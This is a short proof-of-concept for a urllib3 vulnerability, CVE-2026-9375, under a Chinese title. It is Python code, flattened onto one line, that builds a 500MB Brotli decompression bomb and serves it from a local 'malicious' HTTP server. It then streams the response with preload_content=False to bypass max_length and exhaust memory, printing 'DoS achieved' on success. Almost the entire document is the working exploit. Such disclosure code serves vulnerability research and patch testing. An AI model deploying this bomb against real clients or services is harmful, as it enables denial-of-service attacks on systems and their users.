CVE-2026-9375：urllib3流式API Brotli解压炸弹绕过导致拒绝服务漏洞

# CVE-2026-9375 - urllib3 Brotli Decompression Bomb PoC # This PoC demonstrates the decompression bomb bypass in urllib3 streaming API import brotli import http.server import threading import urllib3 # Step 1: Create a highly compressible payload (decompression bomb) # A small compressed payload that expands to a massive size when decompressed BOMB_SIZE = 500 * 1024 * 1024 # 500MB when decompressed bomb_data = b"A" * BOMB_SIZE # Highly compressible data compressed_bomb = brotli.compress(bomb_data) print(f"[*] Compressed bomb size: {len(compressed_bomb)} bytes") print(f"[*] Decompressed size: {len(bomb_data)} bytes ({BOMB_SIZE / 1024 / 1024:.0f}MB)") # Step 2: Create a malicious HTTP server that serves the Brotli-compressed bomb class MaliciousServer(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Encoding", "br") # Brotli encoding self.send_header("Content-Length", str(len(compressed_bomb))) self.end_headers() self.wfile.write(compressed_bomb) def log_message(self, format, *args): pass # Suppress server logs # Step 3: Start the malicious server def run_server(): server = http.server.HTTPServer(("127.0.0.1", 8888), MaliciousServer) server.serve_forever() server_thread = threading.Thread(target=run_server, daemon=True) server_thread.start() print("[*] Malicious server started on http://127.0.0.1:8888") # Step 4: Exploit - Stream content using urllib3 with preload_content=False # This triggers the decompression bomb bypass via the vulnerable code paths print("[*] Sending request to malicious server...") print("[*] The vulnerable code paths (read(), flush_decoder, _flush_decoder())") print(" will bypass max_length protection, causing OOM...") http = urllib3.PoolManager() try: response = http.request( "GET", "http://127.0.0.1:8888/", preload_content=False # Enable streaming mode (vulnerable path) ) # Reading from the response triggers the decompression bomb # max_length is bypassed due to negative arithmetic, flush_decoder override, # and _flush_decoder() not passing any limit data = response.read() print(f"[!] Read {len(data)} bytes (should have been blocked by max_length)") except MemoryError: print("[+] SUCCESS: MemoryError triggered - DoS achieved!") except Exception as e: print(f"[*] Exception: {type(e).__name__}: {e}")